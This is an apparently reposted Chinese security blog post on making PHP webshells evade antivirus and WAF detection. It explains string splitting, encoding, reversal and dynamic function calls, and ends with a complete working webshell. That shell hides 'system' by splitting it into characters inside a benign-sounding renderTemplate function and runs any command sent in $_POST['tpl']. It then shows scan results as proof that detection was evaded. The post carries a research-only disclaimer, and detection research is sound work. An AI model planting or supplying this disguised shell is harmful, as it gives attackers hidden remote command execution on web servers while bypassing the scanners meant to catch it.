Webshell免杀思路-PHP篇-1:经典混淆的艺术

admin 2025年4月16日21:45:29评论11 views字数 1350阅读4分30秒阅读模式

Webshell免杀,本质上就是利用一些技巧,让引擎无法正常识别你的意图,或者认为你是一个正常的文件,所以本文的思路也是在,让引擎无法"识别",但是又能正常执行(PS: 本文只是介绍免杀的绕过,针对流量监测的需要自行加密)

常见关键词绕过

我们在绕waf、或者杀软的时候,听到最多的内容可能就是混淆,一个是针对内容(例如payload)的混淆,另一个则是针对一些敏感的函数名的混淆

常见的针对字符串的思路有:

  • • 字符串编码(base64编码等)
  • • 字符串倒写(例如 eval,倒写成lave,要执行时在翻转回去)
  • • 字符串分割(将eval分割成几个部分)
  • • 字符串加密(如简单的rot13)

实际上,检测引擎在多数时候,都是针对一些敏感的关键词来判断,所以这些的简单的混淆,就能达成我们绕过的目的了,但问题来了,混淆是不难,但是我们混淆后,php怎么去执行还原后的字符串、函数呢

这里就需要用到php的一个方法,动态函数调用

动态调用

动态函数调用是指通过变量来调用函数的一种方式。在PHP中,你可以将一个函数名存储在变量中,然后通过这个变量来调用相应的函数。

他大致可以理解为,把函数名赋值给变量后,你能通过$xx()的方式来调用这个函数,例如:

functionsayHello({echo"我是一个简单echo hello的函数";}// 将函数名赋值给变量$testuse = 'sayHello';// 通过变量调用函数$testuse();  // 输出: 我是一个简单echo hello的函数

在代码中,我们将函数名sayHello赋值给了testuse,接着就可以通过$testuse()的方式来调用sayHello()

我们尝试将上面这些思路,整合成一个php文件

思路整合

首先,我们进行一个简单的字符串的混淆,这里采用的是分割

$actions = [    'parse' => 's'.'y'.'s'.'t'.'e'.'m'];

现在,我们得到了$actions['parse']; ,而他实际上是等于字符串system根据前面介绍的动态函数调用,我们在调用$handler的时候,就等于是在调用system

...$handler = $actions['parse'];...

接着,我们写一个方法把他封装一下

function renderTemplate($input) {    $actions = [        'parse' => 's'.'y'.'s'.'t'.'e'.'m'    ];    $handler = $actions['parse'];    $handler($input);}

最后使用$_POST或者$_GET来传入外部的值,即可任意命令执行了

<?phpfunction renderTemplate($input) {    $actions = [        'parse' => 's'.'y'.'s'.'t'.'e'.'m'    ];    $handler = $actions['parse'];    $handler($input);}if (isset($_POST['tpl'])) {    renderTemplate($_POST['tpl']);}?>

查看一下查杀效果

Webshell免杀思路-PHP篇-1:经典混淆的艺术
Webshell免杀思路-PHP篇-1:经典混淆的艺术

原文始发于微信公众号(E条咸鱼):Webshell免杀思路-PHP篇-1:经典混淆的艺术

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月16日21:45:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Webshell免杀思路-PHP篇-1:经典混淆的艺术https://cn-sec.com/archives/3965952.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息